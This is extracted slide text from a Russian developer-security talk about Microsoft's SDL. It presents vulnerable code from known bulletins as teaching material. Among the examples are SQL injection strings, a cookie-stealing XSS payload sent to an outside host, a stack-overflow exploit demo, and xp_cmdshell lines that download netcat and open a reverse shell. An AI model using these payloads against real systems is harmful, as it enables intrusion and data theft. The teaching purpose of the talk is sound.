d0377e3a2e7694f7136476c2ad37f735.ppt
- Количество слайдов: 59
Безопасность для программиста – все что нужно знать Сергей Поляков alexei@samara. net CEO Web. Zavod, MCSD. NET
План Приоритеты Microsoft – раньше и сейчас Реалии войны за безопасность Как победить? 2
Приоритеты Microsoft Компьютер в каждый дом Информация на кончиках пальцев 1995 – Важность Internet 2000 –. NET Platform 2002 – Trustworthy computing “Когда мы сталкиваемся с проблемой выбора между реализацией новой функциональной возможности и устранением уязвимости, мы должны выбирать второе” 3
4 Защищенность от атак Защита конфиденциальности, целостности данных и систем Управляемая Защита от нежелательных коммуникаций Контроль за приватностью информации Продукты, онлайновые сервисы, принципы доступа Предсказуемая Поддерживаемая Устойчивая Восстановимая Доказанная Открытые, прозрачные взаимоотношения с заказчиками Лидерство в индустрии Поддержка открытых стандартов
5 Что думают разработчики? “Безопасность, пожалуй, самая скучная вещь на свете. Что происходит когда система надежно защищена? НИЧЕГО!" Founder and CTO of White. Hat Security, Inc. Jeremiah Grossman www. whitehatsec. com
6 Во что выливается подобное отношение Две строки кода на C в RPCSS (Blaster): while (*pwsz. Temp != L'\') *pwsz. Server. Name++ = *pwsz. Temp++; Привели к >1, 500, 000 зараженных компьютеров 3, 370, 000 звонков в поддержку в сентябре 2003 (при обычных вирусных эпидемиях не более 350, 000) ОЧЕНЬ много негативных комментариев «Это поднимет на новый уровень мысли о поиске альтернативы для продуктов Microsoft” Gartner Der Speigel «Определенно видны сдвиги в лучшую сторону [Безопасность Microsoft], но я не уверен, что этих сдвигов достаточно» Forrester
Что было сделано Microsoft Инвестировано более $100, 000 Обучено более 11, 000 инженеров и сотрудников поддержки План по безопасности для каждого продукта Моделирование угроз Постоянный аудит кода Аудит обязательная часть при выпуске продукта 7
8 Результаты! Windows 2000 vs Windows Server 2003 Office 2000 vs Office 2003 Windows XPSP 1 vs Windows XPSP 2 Exchange 2000 vs Exchange 2003
9 Результаты! IIS 5 vs IIS 6 IE 6 vs IE 6 SP 2 SQL Server 2000 vs SQL Server 2000 SP 3 Снижение кол-ва уязвимостей в 2 раза !
10 Результаты! 55 17 455
11 Результаты! “На самом деле мы считаем Microsoft лидером отрасли ПО из-за их улучшений в безопасной разработке” John Pescatore Vice President and Distinguished Analyst Gartner, Inc (From CRN, Feb 13 th 2006) http: //tinyurl. com/rezjz
12 Результаты! “Они [Microsoft] в обязательном порядке проводят аудиты кода и тренинги по безопасности для всех разработчиков. Open Source проекты пока не могут придерживаться тех же требований. Author and enterprise systems consultant Ted Neward The. Server. Side Java Symposium (March 27 th 2006)
Война за безопасность - Реалии “ 9 из 10 web сайтов имеют как минимум 1 серьезную уязвимость! Каждый раз когда вы посещаете ваш любимый on-line магазин, проверяете состояние счета или просто разговариваете в чате существует 90% вероятность того, что сайт уже взломан!” Founder and CTO of White. Hat Security, Inc. Jeremiah Grossman Начальная стоимость уязвимости для Microsoft – $100 000 Microsoft Security Response Center 13
14 Реалии войны Дилемма атакующего и защищающегося 1. Администратор должен помнить о 2. 3. 4. всех возможных способах взлома; атакующий может выбрать самую уязвимую особенность системы Администратор защищается от известных методов взлома; атакующий пробует неизвестные Администратор всегда должен быть на чеку; атакующий может выбрать любой момент Администратор должен придерживаться правил; атакующий этого не делает
15 Реалии войны Хакеры атакуют нерасторопных Секундомер запускается ПОСЛЕ выпуска патча “Hackers Beating Efforts to Patch Software Flaws” http: //www. computerworld. com/securitytopics/security/holes/story /0, 10801, 104092, 00. html “Вместо того чтобы искать уязвимости самостоятельно, они [хакеры] ждут пока выйдут патчи и затем смотрят что за дыры там закрыты, затем они уже думают как их использовать” “Zotob Proves Patching "Window" Non-Existent” http: //informationweek. com/story/show. Article. jhtml? article. ID=168 602115 “Глубокая Защита единственный шанс защититься от раннего появления вредоносного ПО”
16 Реалии войны Хакеры отлично вооружены Существуют инструменты, которые позволяют просто делать эксплойты Инструменты для реверс-инжиниринга Structural Comparison of Executable Objects, Halvar Flake http: //www. sabre-security. com/files/dimva_paper 2. pdf PCT Bug: “Обнаружение и понимание уязвимости заняло у нас менее 30 минут” H. 323 ASN. 1 Bug: “Общий анализ занял менее 3 х часов” Exploit Payloads www. metasploit. com
17 Реалии войны Неравная стоимость Цена создания атаки минимальна Цена для заказчиков огромна Разработка плана устранения. Поиск уязвимости. Устранение уязвимости. Тестирование патча. Тестирование программы установки патча. Создание и тестирование патча для разных языков. Стоимость цифрового подписывания кода (Authenticode) Публикация патча на сайт Написания сопроводительной документации Отслеживание и реакция на публикации в СМИ Стоимость трафика Стоимость рабочего времени на разработку следующей версии продукта, которое было остановлено Стоимость установки патча клиентом Стоимость потенциальной потери дохода в связи с возможным решением клиентов не пользоваться вашим продуктом
18 Как победить? "Если вы знаете врага и знаете себя, то можете быть спокойны, если вам предстоит сражаться даже в сотне битв. Если вы знаете самого себя, но не знаете врага, за каждую добытую вами победу вы будете расплачиваться поражением. Если вы не знаете ни самого себя, ни врага, вы будете разбиты в каждой битве" Сунь Цзы. "Искусство войны" 511 год до н. э.
Искусство войны Убедить руководство Знать методы взлома Сокращать возможность атаки Придерживаться процесса SDL Быть в курсе Учиться 19
Поддержка руководства Обычное отношение “В компании, в которой я работал ДО Microsoft, вопросы безопасности изредка возникали на утренних совещаниях в понедельник после того как технический директор во время уикенда смотрел фильм из разряда "The Net”, "Sneakers" или "Hackers"" Один из сотрудников компании Microsoft 20
21 Поддержка руководства Важность защищенных систем Две строки кода на C в RPCSS (Blaster): while (*pwsz. Temp != L'\') *pwsz. Server. Name++ = *pwsz. Temp++; Привели к >1, 500, 000 зараженных компьютеров 3, 370, 000 звонков в поддержку в сентябре 2003 (при обычных вирусных эпидемиях не более 350, 000) ОЧЕНЬ много негативных комментариев «Это поднимет на новый уровень мысли о поиске альтернативы для продуктов Microsoft” Gartner Der Speigel «Определенно видны сдвиги в лучшую сторону [Безопасность Microsoft], но я не уверен, что этих сдвигов достаточно» Forrester
Откуда берутся дыры в системах?
Существует ТОЛЬКО два типа проблем с безопасностью Доверие вводу Все остальное! 23
Crystal Reports Vulnerability MS 04 -017 public class Crystal. Image. Handler : Web. Control { private string tmpdir = null; protected override void Render(Html. Text. Writer writer) { string filepath; (1) Получаем имя файла из querystring dynamic. Image = (string)Context. Request. Query. String. Get("dynamicimage"); if (tmpdir == null) { tmpdir = Viewer. Global. Get. Image. Directory(); } file. Path = tmpdir + dynamic. Image; File. Stream imagestream = new File. Stream (file. Path, File. Mode. Open, File. Access. Read); (2) Открываем файл // stream file to user (3) Отправляем пользователю File. Delete (file. Path); } (4) Убиваем файл! } crystalimagehandler. aspx? dynamicimage=. . boot. ini 24
Доверие тем, кому не надо «Все входящее плохое, пока не доказано обратное!» Переполнения буферов 101011011 101011010110110010101101 SQL Injection Blake′ or 1=1 -- Blake Cross-Site Scripting Blake <script>var i=document</script> 25
Переполнение стека Определяет порядок выполнения Хендлы исключений Адрес Указатели на функции возврата Виртуальные методы функции d! n 3 0 w EIP Other vars EBP Buffers Args void func(char *p, int i) { int j = 0; CFoo foo; int (*fp)(int) = &func; char b[128]; strcpy(b, p); } Беда, если *p указывает на данные уже не b 26
27 Переполнение стека void foo(const char* input) { char buf[10]; printf("My stack: n%p…"); printf("%sn", buf); printf("Now stack: n%p…"); } void bar(void) { printf("Augh! I've been hacked!n"); } int main(int argc, char* argv[]) { printf("Address of foo = %pn", foo); printf("Address of bar = %pn", bar); foo(argv[1]); return 0; } $arg = "ABCDEFGHIJKLMNOP". "x 45x 10x 40"; C: >Stack. Overrun. exe Hello $cmdfoo. Stack. Overrun ". $arg; = " = 00401000 system($cmd); bar = 00401045 My stack: C: >perl Hack. Overrun. pl foo = 0000 00401000 bar = 0000 00401045 My stack: 7 FFDF 00000000 0012 FF 80 0000 0040108 A 7 FFDF 000 00410 EDE 0012 FF 80 0040108 A Hello 00410 ECA Now stack: ABCDEFGHIJKLMNOPE? @ 6 C 6 C 6548 Now stack: 0000006 F 44434241 7 FFDF 000 48474645 0012 FF 80 4 C 4 B 4 A 49 0040108 A 504 F 4 E 4 D 00410 EDE 00401045 00410 ECA Augh! I've been hacked!
Печальный пример SQL Server Instance Resolution (MS 02 -039) #define INSTREGKEY "SOFTWARE\Microsoft SQL Server\" #define MAX_RECV_MSG 256 void Ssrp. Svr(LPSTR sz. Instance. Name) { BYTE rgb. Recv. Buf[MAX_RECV_MSG]; . . . ssrp. Msg = Ssrp. Recv. Msg(rgb. Recv. Buf); switch(ssrp. Msg) { case CLNT_UCAST_INST: // Verb #4 Ssrp. Enum((LPSTR)&rgb. Recv. Buf[1]); } SSRPMSGTYPE Ssrp. Recv. Msg(BYTE *rgb. Recv. Buf) { Слушаем порт 1434 – Internet. . . bytes. Recd = recvfrom( g. Svr. Sock, (char*)rgb. Recv. Buf, MAX_RECV_MSG, 0, (SOCKADDR *)&gclient. Addr, &c. Client. Addr ); return((SSRPMSGTYPE)rgb. Recv. Buf[0]); } Читаем не более 256 байт из сети BOOL Ssrp. Enum(LPSTR sz. Inst. Name, . . . ) { char szreg. Version[128]; sprintf(szreg. Version, "%s%s\MSSQLServer\Current. Version", INSTREGKEY, sz. Inst. Name ); Копируем в 128 байт буфер : ( 28
29 Еще пример DCOM Remote Activation (MS 03 -026) error_status_t _Remote. Activation(. . . , WCHAR *pwsz. Object. Name, . . . ) *phr = Get. Server. Path( pwsz. Object. Name, &pwsz. Object. Name); . . . } Слушаем порт 135 – Internet HRESULT Get. Server. Path(WCHAR *pwsz. Path, WCHAR **pwsz. Server. Path ){ WCHAR * pwsz. Final. Path = pwsz. Path; WCHAR wsz. Machine. Name[MAX_COMPUTERNAME_LENGTH_FQDN + 1]; hr = Get. Machine. Name(pwsz. Path, wsz. Machine. Name); *pwsz. Server. Path = pwsz. Final. Path; } HRESULT Get. Machine. Name( WCHAR * pwsz. Path, WCHAR wsz. Machine. Name[MAX_COMPUTERNAME_LENGTH_FQDN + 1]) { pwsz. Server. Name = wsz. Machine. Name; LPWSTR pwsz. Temp = pwsz. Path + 2; while ( *pwsz. Temp != L'\' ) *pwsz. Server. Name++ = *pwsz. Temp++; . . . } Копируем пока не встретим ‘’ {
30 Атаки на целочисленную арифметику MIDI File Processing Error (MS 03 -030) SMFRESULT FNLOCAL smf. Build. File. Index(PSMF BSTACK *ppsmf) { WORD w. Memory; w. Memory = sizeof(SMF) + (WORD)(psmf->dw. Tracks*sizeof(TRACK)); psmf. Temp = (PSMF)Local. Re. Alloc(psmf, w. Memory, LMEM_MOVEABLE|LMEM_ZEROINIT); Local. Re. Alloc выделяет слишком мало памяти DPF(1, "No memory for extended psmf"); if (NULL == psmf. Temp){ return SMF_NO_MEMORY; } psmf = *ppsmf = psmf. Temp; // various buffer copies on psmf sizeof(TRACK) == 0 x 24, sizeof(SMF) == 0 x 9 E 0 Переполнение если dw. Tracks >= 0 x 6 D 8 (1752) 0 x 9 E 0 + (0 x 24 x 0 x 6 D 8) == 0 x 0040 (64 bytes)
Проблемы с канонизацией more < boot. ini equals more < boot. ini: : $DATA Название потока Давайте рассмотрим http: //www. myshop. ru/basket. aspx: : $DATA 31
Cross Site Scripting (XSS) ОЧЕНЬ частая уязвимость Ошибка в веб-сервере может привести к компрометации клиента и даже более Ошибка – доверяем вводу и повторяем его! 32
33 XSS в действии – крадем Cookie Welcome. asp Hello, <%= request. querystring(′name′)%> <a href=http: //www. insecuresite. com/welcome. asp? name= <script>document. write (′<img src=″http: //gotcha. com/″%2 bdocument. cookie%2 b>′) </script>here</a>
XSS в действии – “дефейс” /location=<script>document. images[4]. src= "http: //www. badsite. com/news. jpg"</script> 34
SQL Injection – C# string Status = "No"; string sqlstring =""; try { Sql. Connection sql= new Sql. Connection( Пароль что надо! @"data source=localhost; " + "user id=sa; password=password; "); String concat sql. Open(); Работаем как для dynamic SQL админ! sqlstring="SELECT Has. Shipped" + " FROM Shipment WHERE ID='" + Id + "'"; Sql. Command cmd = new Sql. Command(sqlstring, sql); if ((int)cmd. Execute. Scalar() != 0) Status = "Yes"; } catch (Sql. Exception se) { Status = sqlstring + " failednr"; foreach (Sql. Error e in se. Errors) { Status += e. Message + "nr"; } Говорим плохому человеку слишком много! } catch (Exception e) { Status = e. To. String(); } 35
Что неправильно (1 из 3) sqlstring="SELECT Has. Shipped" + " FROM Shipment WHERE ID='" + Id + "'"; Обычный пользователь SELECT Has. Shipped FROM Shipment WHERE ID='1001' «Не очень хороший пользователь» SELECT Has. Shipped FROM Shipment WHERE ID= '1001' or 2>1 -- ' 36
Что неправильно (2 из 3) sqlstring="SELECT Has. Shipped" + " FROM Shipment WHERE ID='" + Id + "'"; «Очень плохой хакер» SELECT Has. Shipped FROM Shipment WHERE ID= '1001' drop table orders -- ' «Аффтар аццкий сотона» SELECT Has. Shipped FROM Shipment WHERE ID= '1001' exec xp_cmdshell('. . . ') -- ' 37
Что неправильно(3 из 3) Ваш самый страшный кошмар! exec xp_cmdshell 'tftp -i 63. 45. 11. 9 GET nc. exe c: nc. exe' jesper 0 wns 63. 45. 11. 9 nc. exe -l -p 31337 exec xp_cmdshell 'c: nc. exe -v -e cmd. exe 63. 45. 11. 9 31337' 38
Сокращайте поверхность атак По умолчанию все выключено Используйте защищенный код Используйте инструменты Используйте лучшие практики 39
40 Снижение вероятности атаки Анализ точек входа в ПО, а также Плохо Executing by default Open socket UDP Anonymous Access User Access Internet Access SYSTEM Weak ACLs Лучше Off by default Closed socket TCP User Access Admin Access Local Subnet Access Not SYSTEM! Strong ACLs
41 Примеры Windows XP SP 2 Authenticated RPC Firewall по умолчанию IIS 6 Выключен! Network service Только статика SQL Server 2005 xp_cmdshell выключен CLR и COM выключен Network service Visual Studio 2005 Web server только для localhost SQL Server Express только для localhost
Сокращайте поверхность атак По умолчанию все выключено Используйте защищенный код Используйте инструменты Используйте лучшие практики 42
Сокращайте поверхность атак По умолчанию все выключено Используйте защищенный код Используйте инструменты Используйте лучшие практики 43
fx. Cop 44
fx. Cop - Demo Sql Injections в действии Cross Site Scripting не пройдет fx. Cop на страже Собственные правила 45
Сокращайте поверхность атак По умолчанию все выключено Используйте защищенный код Используйте инструменты Используйте лучшие практики 46
System. Security. Secure. String System. String использовать для хранения важной информации опасно Secure. String password = new Secure. String(); Console. Key. Info next. Key = Console. Read. Key(true); while(next. Key != Console. Key. Enter) { password. Append. Char(next. Key. Char); Console. Write("*"); next. Key = Console. Read. Key(true); } password. Make. Read. Only(); return password 47
Enterprise Library 2. 0 Cryptography Application Block Security Application Block Demo Configuration Tool Quick Start for Security 48
49 Proactive Security Development Lifecycle Задачи и процессы Use Security Create Development Prepare Security Push Security Arch & Tools & Security Kickoff Attack Surface Docs Design Review Security Best Response & Register with and Tools Pen Best Plan Threat Dev & Test For Product SWI Testing Practices Modeling Security Training Requirements Design Implementation Verification Final Security Review Release Security Servicing & Response Execution Support & Servicing
50 Недостаток знаний deldeleteete ; deldeleteete from table
51 Недостаток знаний
52 Роль обучения Эксперимент #define INSTREGKEY "SOFTWARE\Microsoft\Microsoft SQL Server\" #define MAX_RECV_MSG 256 10 16 +45 +41
53
Samara. NET User Group http: //samara. gotdotnet. ru > 100 участников 18 встреч, 2 встречи каждый месяц >30 докладов на разные темы Книги Защита ваших проектов Призы ОБЩЕНИЕ 54
Ресурсы Описание Security Development Lifecycle http: //msdn. microsoft. com/security/sdl Блог Michael Howard http: //blogs. msdn. com/michael_howard/ 55
Заключение Безопасность это очень важно, потому что может быть очень накладно Нужно: Убедить руководство Знать методы взлома Сокращать возможность атаки Придерживаться процесса SDL Быть в курсе Общаться – UG ждет тебя! 56
Вопросы? Сергей Поляков alexei@samara. net 57
58 © 2005 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.
Как работает Microsoft: Watson 59
d0377e3a2e7694f7136476c2ad37f735.ppt